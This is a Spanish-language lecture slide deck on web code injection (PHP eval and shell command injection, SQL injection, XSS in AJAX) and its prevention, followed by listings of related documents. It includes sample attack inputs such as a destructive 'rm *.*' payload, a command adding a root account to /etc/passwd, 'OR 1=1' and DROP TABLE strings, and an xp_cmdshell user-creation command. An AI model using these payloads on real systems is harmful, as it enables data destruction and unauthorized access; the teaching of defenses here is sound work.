Seguridad WEB Inyección de código

Tamaño: px
Comenzar la demostración a partir de la página:

Download "Seguridad WEB Inyección de código"

Transcripción

1 Seguridad WEB Inyección de código Maestría en TICs 2015 Énfasis Auditoría y Seguridad Informática Seguridad en aplicaciones y base de datos Cristian Cappo (ccappo@pol.una.py) NIDTEC - Núcleo de Investigación y Desarrollo Tecnológico - FPUNA

2 Aplicación del lado servidor Se ejecuta en un servidor web (app server) Toma la entrada de los usuarios remotos vía el navegador Interactúa con base de datos y otros servidores Prepara la salida para los usuarios 2

3 Ejemplo: PHP (Hypertext Processor) Lenguaje scripting con sintaxis al estilo C Puede intercalar HTML estático y código <input value = <?php echo $myvalor; $>> Puede incrustar variables de cadenas con comillas dobles: $usuario= Mundo ;echo Hola $usuario! ; o $usuario= Mundo;echo Hola. $usuario.. ; Datos de formularios en arreglos globales _$GET, $POST,.. 3

4 Inyección de código en PHP Calculadora server-side en PHP: $in = $_GET[ val ]; eval( $op1=. $in. ; ); Entrada benigna Entrada maliciosa rm *.* ) Calc.php ejecuta: eval( $op1=5; system( rm *.* ); ); 4

5 Mas inyección de código en PHP Código PHP para enviar mail $ = $_POST[ ] $subject = $_POST[ subject ] system( mail $ s $subject < /tmp/texto ) Código atacante =hacker@hackerhome.net& subject=foo < /usr/passwd; ls =hacker@hackerhome.net&subject=foo; echo evil::0:0:root:/:/bin/sh">>/etc/passwd; ls 5

6 SQL Típica generación de código usando SQL $selecteduser = $_GET['user']; $sql = "SELECT Username, Clave FROM users ". "WHERE Username='$selecteduser'"; $rs = $db->executequery($sql); Que pasa si user es una cadena maliciosa que cambia el significado de la consulta? 6

7 Típico login 7

8 Ingrese SELECT passwd Usuario FROM USERS Navegador (Cliente) & Password Servidor web WHERE uname = $user DB 8

9 Login normal Ingrese SELECT passwd Usuario FROM USERS Navegador (Cliente) & Password Servidor web WHERE uname = smith DB 9

10 Entrada maliciosa 10

11 Inyección SQL (SQLI) SELECT passwd Navegador (Cliente) Ingrese Usuario & Password Servidor web FROM USERS WHERE uname = ; DROP TABLE USERS;-- DB 11

12 12

13 Inyección SQL Idea básica Servidor víctima Atacante 1 3 Recibe datos desde la DB 2 Consulta No esperada Esta es una vulnerabilidad de validación de entrada La entrada de usuario no sanitizada cambia el sentido original de la consulta SQL. Es un caso especial de inyección de código DBMS Victima slide 13

14 Autenticación con la BD set UserFound=execute( SELECT * FROM UserTable WHERE username= & form( user ) & AND password= & form( pwd ) & ); El usuario ingresa su código y contraseña, este SQL chequea si existe tal combinación en la BD. If not UserFound.EOF Autenticación correcta else Autenticación incorrecta 14

15 Usando SQLI para ingresar El usuario ingresa OR 1=1 -- El aplicación web ejecuta la consulta set UserFound=execute( SELECT * FROM UserTable WHERE username= OR 1=1 -- ); Ahora todos los registros son retornados y la autenticación es correcta 15

16 Más de SQLI El usuario puede dar como código exec cmdshell net user badguy badpwd / ADD Y se ejecuta la consulta: set UserFound=execute( SELECT * FROM UserTable WHERE username= exec -- ); Crea una cuenta para badguy en el servidor de base de datos. 16

17 SQLI de segundo orden Los datos guardados en la BD pueden ser utilizados luego para un SQLI Por ejemplo, un usuario cambia su nombre a admin -- Esta vulnerabilidad puede existir si no se aplica consistentemente la validación de entrada y el escapado (por ejemplo de convertir a \ ) Algunas aplicaciones solo validan la entradas del servidor web y no así las entradas que vienen de la BD. UPDATE users set password = jejeje where uname = admin -- Tratar a todas las entradas como peligrosas 17

18 Previniendo los SQLI Validar toda la entrada Filtrar cualquier carácter que tenga un significado especial Chequear el tipo de dato Caracteres permitidos (whitelist) Colocar solo los no permitidos a veces no funciona Se puede olvidar algunos Puede prevenir entradas válidas (por ejemplo O Higgins) Permita solo un conjunto bien definido de valores seguros Puede utilizar expresiones regulares. 18

19 Escapando Caracteres especiales como provee distinción entre datos y código en la consulta Para entradas válidas con, use caracteres escapados. Diferentes BD tienen diferentes reglas de escapado: Ejemplos escape(o Higging) = O\ Higging escape(o Higging) = O Higging 19

20 Sentencias SQL precompiladas En un SQLI los datos son interpretados como código Variables bind : garantiza que los lugares en la consulta sean datos (no código) Sentencias prepared: permiten la creación de consultas estáticas con variables bind. Preserva la estructura de la consulta prevista. 20

21 Ejemplo de sentencias prepared /* Ejemplo en Java */ PreparedStatement ps = db.preparestatement("select pizza, toppings, quantity, order_day " + "FROM orders WHERE userid=? AND order_month=?"); ps.setint(1, session.getcurrentuserid()); ps.setint(2, Integer.parseInt(request.getParamenter("month"))); ResultSet res = ps.executequery(); Variables bind (data placeholder) La consulta es parseada sin los parámetros Las variables bind tienen tipos (int, string, ) De todos modos debe seguir cuidando los SQLI de segundo orden. 21

22 SQL Injection Cheat Sheet Recopilación de tips y trucos para Inyección SQL teniendo en cuenta tipo de DBMS (MySQL, MS SQL Server, Oracle, PostgreSQL) 22

23 XSS (un poco más) Web HTTP GET 2. HTML and JS ` 3. Asynchronous GET 4. Javascript to wrap in eval Los scripts maliciosos pueden estar Contenidos en argumentos de JavaScript creados dinámicamente. Contenido en los arreglos JavaScript Escritos dinámicamente en el DOM 23

24 XSS en AJAX Flujos en arreglos Javascript var downstreamarray = new Array(); downstreamarray[0] = 42"; dobadstuff(); var bar= ajacked"; No detectado por filtros simples No existe <>, script, on.., etc Solo se necesita romper la doble comilla 24

25 XSS en AJAX Código JSON escrito en el DOM por un script del lado cliente var inboundjson = {"people": [ {"name": "Joel", "address": <script>badstuff();</script>", "phone": "911"} ] }; someobject.innerhtml(inboundjson.people[0].address); // Vulnerable document.write(inboundjson.people[0].address); // Vulnerable someobject.innertext(inboundjson.people[0].address); // Seguro XSS puede estar en el DOM document.url, documento.location, document.referer 25

26 Protegerse contra XSS Asegurar que su aplicación valide todas las cabeceras, cookies, query string, campos de formulario y campos ocultos No intentar identificar contenido activos y removerlos, filtrarlos o sanitizarlos. Existen demasiados tipos de contenido activo y muchísimas formas de codificarlo para sobrepasar los filtros. Es recomendable utilizar una política de seguridad positiva que especifica que es lo que está permitido. La política de seguridad negativa (mantenimiento de firmas) son difíciles de mantener y usualmente incompletas. 26

27 Prevenir XSS Cualquier entrada del usuario debe ser preprocesada antes de utilizarla dentro de HTML Remover /codificar los caracteres especiales HTML Usar una buena librería de escape Ejemplo: OWASP ESAPI En PHP, htmlspecialchars(string) puede reemplazar todos los caracteres con sus códigos HTML se convierte a &#039; se convierte a " & se convierte a & En ASP.NET, Server.HtmlEncode(string) 27

28 Bibliografía M. Zalewski. The tangled Web. A guide to securing Modern Web Applications M. Shema. Hacking Web Apps. Detecting and Preventing Web Application Security Problems. Syngress Press. Elsevier P. Hope & B. Walther. Web Security Testing Cookbook. O Really Media Inc

29 Gracias! Preguntas? 29

Hacking Ético Web. I Jornadas Tecnológicas CEEPS 27-03-2012 Carlos García García i52gagac@uco.es ciyinet@gmail.com. @ciyinet

Hacking Ético Web. I Jornadas Tecnológicas CEEPS 27-03-2012 Carlos García García i52gagac@uco.es ciyinet@gmail.com. @ciyinet Hacking Ético Web I Jornadas Tecnológicas CEEPS 27-03-2012 Carlos García García i52gagac@uco.es ciyinet@gmail.com @ciyinet Índice Introducción OWASP OWASP Top 10 (2010) Demostración ataques Inyección SQL

Más detalles

SECURITY DAY PERU. Ataques a las Aplicaciones Web. Explotación de Aplicaciones Web. Technologies SOLUTIONS FOR KEEPING YOUR BUSINESS UP

SECURITY DAY PERU. Ataques a las Aplicaciones Web. Explotación de Aplicaciones Web. Technologies SOLUTIONS FOR KEEPING YOUR BUSINESS UP SOLUTIONS FOR KEEPING YOUR BUSINESS UP Email: info@ximark.com Tel. +(507) 271 5951 Tel. +(1) 928 752 1325 Aptdo. 55-0444, Paitilla. Panama City, Panama SECURITY DAY PERU Ataques a las Aplicaciones Web

Más detalles

Seguridad en Aplicaciones web

Seguridad en Aplicaciones web Seguridad en Aplicaciones web Cristian Cappo ccappo@pol.una.py Núcleo de Investigación y Desarrollo Tecnológico Facultad Politécnica Universidad Nacional de Asunción, PY Setiembre/2014 Movilidad Docente

Más detalles

SQL INJECTION. Benitez, Marcelo Chinikailo, Cristian De la Cruz, Leonardo Klas, Julián. 66.69 Criptografía y Seguridad Informática.

SQL INJECTION. Benitez, Marcelo Chinikailo, Cristian De la Cruz, Leonardo Klas, Julián. 66.69 Criptografía y Seguridad Informática. SQL INJECTION Benitez, Marcelo Chinikailo, Cristian De la Cruz, Leonardo Klas, Julián Grupo 5 66.69 Criptografía y Seguridad Informática Introducción 2 Ataque basado en inyección de código Explota omisiones

Más detalles

Web : Ataque y Defensa. Claudio Salazar Estudiante Ing. Civil Informática UTFSM Pinguinux Team

Web : Ataque y Defensa. Claudio Salazar Estudiante Ing. Civil Informática UTFSM Pinguinux Team Web : Ataque y Defensa. Claudio Salazar Estudiante Ing. Civil Informática UTFSM Pinguinux Team Temario 1. Introducción 2. Cross Site Scripting (XSS) 3. Inyección SQL 4. Nuestro código en el servidor 5.

Más detalles

UNIVERSIDAD TECNICA DE MANABI Facultad de Ciencias Informáticas Ingeniería en sistemas. SEGURIDAD INFORMATICA Tema: Mysql Injection

UNIVERSIDAD TECNICA DE MANABI Facultad de Ciencias Informáticas Ingeniería en sistemas. SEGURIDAD INFORMATICA Tema: Mysql Injection UNIVERSIDAD TECNICA DE MANABI Facultad de Ciencias Informáticas Ingeniería en sistemas SEGURIDAD INFORMATICA Tema: Mysql Injection Autora: Doris María Mera Mero Curso: 7mo A Fecha: Martes 30 de Julio del

Más detalles

Sesión 13. Seguridad en la web. Luisa Fernanda Rincón Pérez 2015-1

Sesión 13. Seguridad en la web. Luisa Fernanda Rincón Pérez 2015-1 Sesión 13. Seguridad en la web Luisa Fernanda Rincón Pérez 2015-1 Qué vimos la clase pasada? 1. Características de MongoDB 2. Colecciones - documentos 3. Consulta, inserción, modificación, eliminación

Más detalles

Web: Ataque y Defensa. my kung fu is stronger than yours, The lone Gunmen

Web: Ataque y Defensa. my kung fu is stronger than yours, The lone Gunmen Web: Ataque y Defensa. my kung fu is stronger than yours, The lone Gunmen Web: Ataque y defensa Introducción. Cross Site Scripting (XSS). SQL Injection. Programador? quien yo?. Ataques NG. Prevención.

Más detalles

S E G U R I D A D E N A P L I C A C I O N E S W E B

S E G U R I D A D E N A P L I C A C I O N E S W E B H E R R A M I E N T A S A V A N Z A DA S D E DE S A R R O L L O D E S O F T W A R E 2 0 0 7-2 0 0 8 S E G U R I D A D E N A P L I C A C I O N E S W E B X S S Y S Q L I N J E C T I O N G R U P O 2 4 S A

Más detalles

SEGURIDAD WEB. Cristian Cappo (ccappo@pol.una.py)

SEGURIDAD WEB. Cristian Cappo (ccappo@pol.una.py) SEGURIDAD WEB Maestría en TICs 2015 Énfasis Auditoría y Seguridad Informática Seguridad en aplicaciones y base de datos Cristian Cappo (ccappo@pol.una.py) NIDTEC - Núcleo de Investigación y Desarrollo

Más detalles

TALLER DE SQL INJECTION

TALLER DE SQL INJECTION TALLER DE SQL INJECTION EDYTED BY 4TF3 Definición de Injectiòn SQL Inyección SQL es un método de infiltración de código intruso que se vale de una vulnerabilidad informática presente en una aplicación

Más detalles

I. DATOS DE IDENTIFICACIÓN. 1. Unidad Académica: _Facultad de Ciencias

I. DATOS DE IDENTIFICACIÓN. 1. Unidad Académica: _Facultad de Ciencias UNIVERSIDAD AUTONOMA DE BAJA CALIFORNIA COORDINACIÓN DE FORMACIÓN BÁSICA COORDINACIÓN DE FORMACIÓN PROFESIONAL Y VINCULACIÓN PROGRAMA DE UNIDAD DE APRENDIZAJE POR COMPETENCIAS I. DATOS DE IDENTIFICACIÓN

Más detalles

Capítulo 2.- Vulnerabilidades en aplicaciones web.

Capítulo 2.- Vulnerabilidades en aplicaciones web. Capítulo 2.- Vulnerabilidades en aplicaciones web. En este capítulo se explican algunas vulnerabilidades en aplicaciones web que pueden ser explotadas por software o por personas malintencionadas y como

Más detalles

Desarrollo de Código Seguro. Seguridad en PHP. Introducción. Register Globals

Desarrollo de Código Seguro. Seguridad en PHP. Introducción. Register Globals Desarrollo de Código Seguro 22 y 27 de Septiembre de 2004 Facultad Regional Concepción del Uruguay Universidad Tecnológica Nacional Gabriel Arellano arellanog@frcu.utn.edu.ar Seguridad en PHP Lineamientos

Más detalles

DOCS. Pautas básicas para el DESARROLLO DE PLUGINS

DOCS. Pautas básicas para el DESARROLLO DE PLUGINS Pautas básicas para el DESARROLLO DE PLUGINS ÍNDICE 1. Protección contra CSRF............................. 2. Protección XSS.................................... 3. Protección contra inyecciones SQL6...................

Más detalles

La utilización de las diferentes aplicaciones o servicios de Internet se lleva a cabo respondiendo al llamado modelo cliente-servidor.

La utilización de las diferentes aplicaciones o servicios de Internet se lleva a cabo respondiendo al llamado modelo cliente-servidor. Procesamiento del lado del servidor La Programación del lado del servidor es una tecnología que consiste en el procesamiento de una petición de un usuario mediante la interpretación de un script en el

Más detalles

Curso de PHP con MySQL Gratis

Curso de PHP con MySQL Gratis Curso de PHP con MySQL Gratis Introducción Este mini curso o mini tutorial de PHP le ayudará a realizar cualquier sistema para que pueda insertar uno o varios registros a una base de datos con MySQL, este

Más detalles

PROGRAMACIÓN PÁGINAS WEB CON PHP

PROGRAMACIÓN PÁGINAS WEB CON PHP PROGRAMACIÓN PÁGINAS WEB CON PHP Curso de desarrollo de aplicaciones web. Para ello se estudia la programación de la parte cliente con JavaScript y la programación de la parte servidor con la tecnología

Más detalles

Introducción a PostgreSQL con PHP

Introducción a PostgreSQL con PHP 1 Introducción a PostgreSQL con PHP Recientemente he tenido que utilizar PostgreSQL para realizar algunos proyectos en donde laboro, principalmente por las características que ofrece PostgreSQL sobre MySQL,

Más detalles

PROGRAMACIÓN EN PHP. 1. Identificar las características y modalidad de programación bajo PHP.

PROGRAMACIÓN EN PHP. 1. Identificar las características y modalidad de programación bajo PHP. Duración: 60 horas FUNDAMENTACIÓN DEL CURSO PROGRAMACIÓN EN PHP El Lenguaje PHP o Hypertext PreProcessor, al igual que C y Perl maneja programación estructurada, lo que le permite a los programadores con

Más detalles

PLAN FORMATIVO MODALIDAD I

PLAN FORMATIVO MODALIDAD I PLAN FORMATIVO MODALIDAD I Modalidad Acción: TELEFORMACIÓN Nº de la Acción: FPTO/2014/695/202 Familia Profesional: Tipo Especialidad: IFC / INFORMÁTICA Y COMUNICACIONES NUEVA ESPECIALIDAD Area Profesional:

Más detalles

Aplicaciones seguras con ClaseSeguridad

Aplicaciones seguras con ClaseSeguridad Aplicaciones seguras con ClaseSeguridad Índice de contenido Por que ClaseSeguridad?...1 Referenciar ClaseSeguridad...1 Declaración y creación...1 Evitar inyección de SQL...1 Eliminar etiquetas...3 Evitar

Más detalles

Ataques XSS en Aplicaciones Web

Ataques XSS en Aplicaciones Web Ataques XSS en Aplicaciones Web Education Project Antonio Rodríguez Romero Consultor de Seguridad Grupo isoluciones antonio.rodriguez@isoluciones.es Copyright 2007 The Foundation Permission is granted

Más detalles

MAESTRO DE PHP PHP NIVEL 1

MAESTRO DE PHP PHP NIVEL 1 MAESTRO DE PHP MAESTRO DE PHP es el curso más completo diseñado para que aprendas desde 0 hasta poder desarrollar aplicaciones robustas utilizando Frameworks. Incluye los Cursos PHP Nivel 1 y PHP Avanzado

Más detalles

Parte IIIb: Seguridad en APIs REST

Parte IIIb: Seguridad en APIs REST Tema 3: Javascript Parte IIIb: Seguridad en APIs REST Texto http://www.flickr.com/photos/kosmar/62381076 Autentificación y autorización Autentificación basada en tokens Seguridad en APIs REST Token de

Más detalles

Servidores Web E2B2C. Leandro Radusky Esteban Lanzarotti. Nov 2014

Servidores Web E2B2C. Leandro Radusky Esteban Lanzarotti. Nov 2014 Servidores Web E2B2C Leandro Radusky Esteban Lanzarotti Nov 2014 Agenda Mañana HTTP: Arquitectura Cliente/Servidor: introducción teórica. Elementos de una página web: HTML, JavaScript y CSS básicos. python-bottle:

Más detalles

PROGRAMACIÓN PÁGINAS WEB JAVASCRIPT Y PHP

PROGRAMACIÓN PÁGINAS WEB JAVASCRIPT Y PHP PROGRAMACIÓN PÁGINAS WEB JAVASCRIPT Y PHP OBJETIVOS Estudiar la programación de la parte cliente con JavaScript y la programación de la parte servidor con la tecnología PHP y el servidor de bases de datos

Más detalles

CURSO DE ESPECIALISTA EN DESARROLLO DE APLICACIONES WEB

CURSO DE ESPECIALISTA EN DESARROLLO DE APLICACIONES WEB CURSO DE ESPECIALISTA EN DESARROLLO DE APLICACIONES WEB Objetivos Generales: Al término de esta acción formativa los participantes alcanzarán los siguientes objetivos: Preparar profesionales para el desarrollo

Más detalles

Presentación del Curso Virtual PROGRAMACIÓN WEB PHP CON MYSQL AVANZADO

Presentación del Curso Virtual PROGRAMACIÓN WEB PHP CON MYSQL AVANZADO Presentación del Curso Virtual PROGRAMACIÓN WEB PHP CON MYSQL AVANZADO Tabla de contenido Programación Web PHP con MySQL Avanzado...3 Presentación del curso...3 Objetivos de aprendizaje...4 Contenidos

Más detalles

Curso de Programación PHP

Curso de Programación PHP Curso de Programación PHP Presentación : PHP es el lenguaje de programación más usado en los servidores de Internet debido a su potencia, velocidad de ejecución y simplicidad que lo caracterizan. Este

Más detalles

PHP Y BASES DE DATOS. Introducción a SQL

PHP Y BASES DE DATOS. Introducción a SQL PHP Y BASES DE DATOS M.I María Luisa González Ramírez Introducción a SQL SQL es el lenguaje usado para interactuar con las base de datos. Es un lenguaje normalizado, utilizado por los diferentes motores

Más detalles

Vulnerabilidades de Sistema de Facturación

Vulnerabilidades de Sistema de Facturación Vulnerabilidades de Sistema de Facturación Generales - Directorio "class" no es requerido. No hay referencias al mismo en código. - Función de generación de contraseñas es insegura. El nuevo password se

Más detalles

Desarrollo seguro en Drupal. Ezequiel Vázquez De la calle

Desarrollo seguro en Drupal. Ezequiel Vázquez De la calle Sobre mi Estudios Ingeniero Técnico en Informática - UCA Máster en Ingeniería del Software - US Experto en Seguridad de las TIC - US Experiencia Aficiones 3+ años como desarrollador web, casi 2 en Drupal

Más detalles

8º Unidad Didáctica PHP. Eduard Lara

8º Unidad Didáctica PHP. Eduard Lara 8º Unidad Didáctica PHP Eduard Lara 1 ÍNDICE 8.1 Lenguajes de script del servidor PHP 8.2 Sintaxis básica de PHP 8.3 La instrucción include 8.4 Cookies y sesiones 8.5 Bases de datos. Interacción con MySQL

Más detalles

Centro de Capacitación en Tecnologías de la Información

Centro de Capacitación en Tecnologías de la Información Centro de Capacitación en Tecnologías de la Información + Objetivo Con este curso presencial y práctico de programación Web en PHP aprenderá a utilizar este lenguaje de programación en conjunto con otros

Más detalles

abacformacio@abacformacio.com

abacformacio@abacformacio.com Programación de páginas web con PHP Curso de desarrollo de aplicaciones web. Para ello se estudia la programación de la parte cliente con JavaScript y la programación de la parte servidor con la tecnología

Más detalles

AGENDA. Mejorando la Seguridad en Aplicaciones Web. Introducción. La Web Promesas y Amenazas. Asegurando la Red y el Servidor de Web

AGENDA. Mejorando la Seguridad en Aplicaciones Web. Introducción. La Web Promesas y Amenazas. Asegurando la Red y el Servidor de Web Universidad ORT Uruguay Mejorando la Seguridad en Aplicaciones Web Ing. Cecilia Belletti Ing. Angel Caffa, MSc Ing. Isaac Rodríguez IntegraTICs 7 de diciembre, 2006 AGENDA Introducción La Web Promesas

Más detalles

TEMA 1.- Conceptos Generales y Entorno de Trabajo Objetivo

TEMA 1.- Conceptos Generales y Entorno de Trabajo Objetivo CURSO DE PHP El objetivo final que persigue este curso es dotar al alumno de los conocimientos necesarios para elaborar páginas web de carácter dinámico, utilizando, para ello, el lenguaje de programación

Más detalles

Programación páginas web. Servidor (PHP)

Programación páginas web. Servidor (PHP) Programación páginas web. Servidor (PHP) Curso de desarrollo de aplicaciones web. Para ello se estudia la programación de la parte servidor con la tecnología PHP y el servidor de bases de datos MySQL.

Más detalles

JavaScript,, AJAX y otras tecnologías web. Área de Ingeniería Telemática

JavaScript,, AJAX y otras tecnologías web. Área de Ingeniería Telemática JavaScript,, AJAX y otras tecnologías Contenidos JavaScript AJAX Flash 2 JavaScript Lenguaje interpretado como PHP, pero se ejecuta en cliente no en servidor Sintaxis semejante a la del lenguaje Java y

Más detalles

PHP Básico. PHP para principiantes

PHP Básico. PHP para principiantes PHP Básico PHP para principiantes Copyright (c) 2006 Guillermo Valdez Lozano. E-mail: guivaloz(en)gmail.com http://www.movimientolibre.com Se otorga permiso para copiar, distribuir y/o modificar este documento

Más detalles

Programación de páginas web dinámicas con CGIs

Programación de páginas web dinámicas con CGIs Programación de páginas web dinámicas con CGIs Esquema Webs estáticas o dinámicas. CGIs: Que son y como funcionan Formularios para enviar información CGIs en perl Webs estáticas o dinámicas Una (página)

Más detalles

Presentación del Curso Virtual PROGRAMACIÓN WEB PHP CON MYSQL BÁSICO

Presentación del Curso Virtual PROGRAMACIÓN WEB PHP CON MYSQL BÁSICO Presentación del Curso Virtual PROGRAMACIÓN WEB PHP CON MYSQL BÁSICO INNOVATIVA CENTRO DE TRANSFERENCIA Y DESARROLLO TECNOLÓGICO ESPE CECAI Capacitación Virtual La mejor opción para su crecimiento profesional

Más detalles

ARE YOUR WEB VULNERABLE?

ARE YOUR WEB VULNERABLE? CROSS-SITE SITE SCRIPTING: ARE YOUR WEB APPLICATIONS VULNERABLE? Alberto Calle Alonso Sebastián Marcos Miguel Mateo de la Puente Madrid, Febrero 2009 1 ÍNDICE Introducción Cross-site scripting HTTP y HTML

Más detalles

Cursos PHP construcción de sitios web dinámicos

Cursos PHP construcción de sitios web dinámicos Facultad de Ingeniería Universidad Nacional de Mar del Plata Cursos sobre PHP, MySQL, HTML, páginas web dinámicas acrónimo recursivo PHP Hypertext Preprocessor es un lenguaje de scripting de fuente abierta

Más detalles

Programación páginas web JavaScript y PHP

Programación páginas web JavaScript y PHP Programación páginas web JavaScript y PHP Curso de desarrollo de aplicaciones web. Para ello se estudia la programación de la parte cliente con JavaScript y la programación de la parte servidor con la

Más detalles

Introducción a ataques de tipo inyección: Inyección SQL

Introducción a ataques de tipo inyección: Inyección SQL Introducción a ataques de tipo inyección: Inyección SQL Jorge Peris Cortés - jorpecor@alumni.uv.es Asignatura: Redes Ingeniería Informática - Curso 2011/2012 Universidad de Valencia 1 Índice INTRODUCCIÓN...

Más detalles

PDF created with pdffactory Pro trial version www.pdffactory.com

PDF created with pdffactory Pro trial version www.pdffactory.com Este libro está diseñado y escrito para aquellas personas que, conociendo HTML y JavaScript, desean dar un salto cuantioso en la creación de sitios web, con la programación dinámica en el lado del servidor.

Más detalles

JavaScript como Orientación a Objetos

JavaScript como Orientación a Objetos Gustavo Lacoste (gustavo@lacosox.org) October 2012 Resumen El objetivo de las siguientes notas es generar una estructura en JavaScript que nos permita reutilizar de manera limpia las funciones creadas

Más detalles

Que es PHP? Que se puede hacer con PHP? Sintaxis del lenguaje. Variables. Operadores básicos. Condicionales. Ciclos.

Que es PHP? Que se puede hacer con PHP? Sintaxis del lenguaje. Variables. Operadores básicos. Condicionales. Ciclos. Que es PHP? Que se puede hacer con PHP? Sintaxis del lenguaje. Variables. Operadores básicos. Condicionales. Ciclos. Qué es PHP? PHP (Hypertext Preprocessor). Es un lenguaje de programación: De código

Más detalles

XPERTO EN DISEÑO DE PÁGINAS WEB

XPERTO EN DISEÑO DE PÁGINAS WEB Curso ICA de: EXPERTO EN DISEÑO DE PÁGINAS WEB Módulo 1: Program. cliente: JavaScript Estudia el lenguaje JavaScript para crear guiones o scripts que se incluyen en las páginas web y que son ejecutados

Más detalles

MySQL: Guía de Referencia

MySQL: Guía de Referencia Instituto Tecnologico Superior de Coatzacoalcos (ITESCO). MySQL: Guía de Referencia Farid Alfredo Bielma Lopez fbielma@fbielma.org http://fbielma.org/course/fbielma/curso_mysql.pdf Resumen del curso Algunas

Más detalles

Su Seguridad es Nuestro Éxito

Su Seguridad es Nuestro Éxito Su Seguridad es Nuestro Éxito c. Santander, 101. Edif. A. 2º I 08030 Barcelona I Tel.: 93 305 13 18 I Fax: 93 278 22 48 I info@isecauditors.com I www.isecauditors.com OWASP Conference 2007 Barcelona, Julio

Más detalles

Número de Práctica: 1 Nombre de la Práctica: Comunicación Cliente Servidor Vía Sockets Java con Sistema Manejador de Bases de Datos

Número de Práctica: 1 Nombre de la Práctica: Comunicación Cliente Servidor Vía Sockets Java con Sistema Manejador de Bases de Datos Número de Práctica: 1 Nombre de la Práctica: Comunicación Cliente Servidor Vía Sockets Java con Sistema Manejador de Bases de Datos Problemática: Desarrollar aplicaciones Cliente Servidor utilizando Sockets

Más detalles

Objetivo: Introducción conceptual y aplicación básica de los lenguajes del lado del servidor.

Objetivo: Introducción conceptual y aplicación básica de los lenguajes del lado del servidor. Sesión 03: Lenguajes web del servidor Competencias a Conseguir: - Conocer el entorno de trabajo a nivel de servidores web. - Instalación del localhost (Servidor Local). - Repaso general de PHP y ejercicios

Más detalles

Introducción a PHP. * No es necesario declarar previamente las variables.

Introducción a PHP. * No es necesario declarar previamente las variables. Introducción a PHP La programación de sitios web cada día está más orientada al desarrollo de páginas dinámicas y aplicaciones, o sea sitios donde el usuario pueda interactuar con la web. Dentro de los

Más detalles

Programación de código seguro

Programación de código seguro Programación de código seguro Distinción de vulnerabilidades Stack OverFlow y Heap OverFlow Comunes en lenguajes y aplicaciones de escritorio TOP 10 OWASP Muchas otras Stack OverFlow Stack OverFlow: Ejemplo

Más detalles

ESCUELA DE CIENCIAS BASICAS TECNOLOGIA E INGENIERIA 301127- Programación de sitios web Act 4: Lección Evaluativa 1

ESCUELA DE CIENCIAS BASICAS TECNOLOGIA E INGENIERIA 301127- Programación de sitios web Act 4: Lección Evaluativa 1 Qué es PHP? PHP: HyperText Preprocessor. Es un lenguaje de tipo scripting, que actualmente está siendo utilizado como una de las mejores alternativas para desarrollar aplicaciones en la Web. Un lenguaje

Más detalles

Javascript parte II: AJAX

Javascript parte II: AJAX Tema 3 Javascript parte II: AJAX Texto http://www.flickr.com/photos/kosmar/62381076 Asynchronous JavaScript and XML. O cómo hacer peticiones al servidor desde Javascript AJAX (Asynchronous JavaScript And

Más detalles

VÍDEO intypedia007es LECCIÓN 7: SEGURIDAD EN APLICACIONES WEB. INTRODUCCIÓN A LAS TÉCNICAS DE INYECCIÓN SQL. AUTOR: Chema Alonso

VÍDEO intypedia007es LECCIÓN 7: SEGURIDAD EN APLICACIONES WEB. INTRODUCCIÓN A LAS TÉCNICAS DE INYECCIÓN SQL. AUTOR: Chema Alonso VÍDEO intypedia007es LECCIÓN 7: SEGURIDAD EN APLICACIONES WEB. INTRODUCCIÓN A LAS TÉCNICAS DE INYECCIÓN SQL AUTOR: Chema Alonso Consultor de Seguridad en Informática 64. Microsoft MVP Enterprise Security

Más detalles

Parte III: AJAX y REST

Parte III: AJAX y REST Tema 3: Javascript Parte III: AJAX y REST Texto http://www.flickr.com/photos/kosmar/62381076 Cómo hacer peticiones al servidor desde Javascript, usando el estilo REST AJAX 2 Asynchronous Javascript And

Más detalles

Unidad V: Programación del lado del servidor

Unidad V: Programación del lado del servidor Unidad V: Programación del lado del servidor 5.1 Introducción al lenguaje La Programación del lado del servidor es una tecnología que consiste en el procesamiento de una petición de un usuario mediante

Más detalles

Iniciando con Oracle. Índice de contenido. Ingresando a Oracle. Cambiando Su Contraseña. Ingresando un Comando SQL en SQL*Plus

Iniciando con Oracle. Índice de contenido. Ingresando a Oracle. Cambiando Su Contraseña. Ingresando un Comando SQL en SQL*Plus Iniciando con Oracle Índice de contenido Ingresando a Oracle...1 Cambiando Su Contraseña...1 Ingresando un Comando SQL en SQL*Plus...2 Saliendo de SQL*Plus...2 Consiguiendo Ayuda...2 Creación de una Tabla...3

Más detalles

Figura 4.1 Clasificación de los lenguajes de bases de datos

Figura 4.1 Clasificación de los lenguajes de bases de datos 1 Colección de Tesis Digitales Universidad de las Américas Puebla Romero Martínez, Modesto Este capítulo describen los distintos lenguajes para bases de datos, la forma en que se puede escribir un lenguaje

Más detalles

FORMACIÓN ESPECIALIZADA EN HERRAMIENTAS Y LENGUAJES DE PROGRAMACIÓN WEB

FORMACIÓN ESPECIALIZADA EN HERRAMIENTAS Y LENGUAJES DE PROGRAMACIÓN WEB HERRAMIENTAS Y LENGUAJES DE PROGRAMACIÓN WEB La consolidación de los medios online como soporte principal de comunicación, así como la coyuntura económica, que relega a los soportes publicitarios convencionales

Más detalles

Quienes somos. Eduardo Arriols (@_Hykeos) Roberto Lopez (@leurian)

Quienes somos. Eduardo Arriols (@_Hykeos) Roberto Lopez (@leurian) CON Quienes somos Eduardo Arriols (@_Hykeos) Roberto Lopez (@leurian) Estudiantes de Ing. Informática en la EPS de la UAM y apasionados del mundo de la seguridad informática y el hacking. Fundadores del

Más detalles

Ataques a Aplicaciones de Bases de Datos

Ataques a Aplicaciones de Bases de Datos Ataques a Aplicaciones de Bases de Datos Esteban Martínez Fayó Argeniss (www.argeniss.com) ekoparty security conference Noviembre 2007 Buenos Aires, Argentina Agenda Introducción a la seguridad en Bases

Más detalles

Desarrollo Web en Entorno Servidor

Desarrollo Web en Entorno Servidor Desarrollo Web en Entorno Servidor Tema 1: Introducción 1. Tipos de páginas Web. 2. Instalación del software. (XAMPP) 1 Tipos de páginas Web. Páginas estáticas. Páginas dinámicas. 2 Tipos de páginas Web.

Más detalles

Base de datos Procedimientos Almacenados y Funciones

Base de datos Procedimientos Almacenados y Funciones Base de datos Procedimientos Almacenados y Eduardo Saavedra A. Universidad Nacional Andrés Bello 4 de noviembre de 2008 Contenidos Ventajas 1 Ventajas 2 3 4 5 Conceptos Ejemplo 6 Procedimiento Almacenado

Más detalles

Tema 1 HTTP y aplicaciones web

Tema 1 HTTP y aplicaciones web Tema 1 HTTP y aplicaciones web Indice 1. HTTP para sitios web estáticos 2. HTTP básico para aplicaciones web 3. Aplicaciones AJAX 4. APIs REST 1.1. HTTP para sitios web estáticos Petición/respuesta HTTP

Más detalles

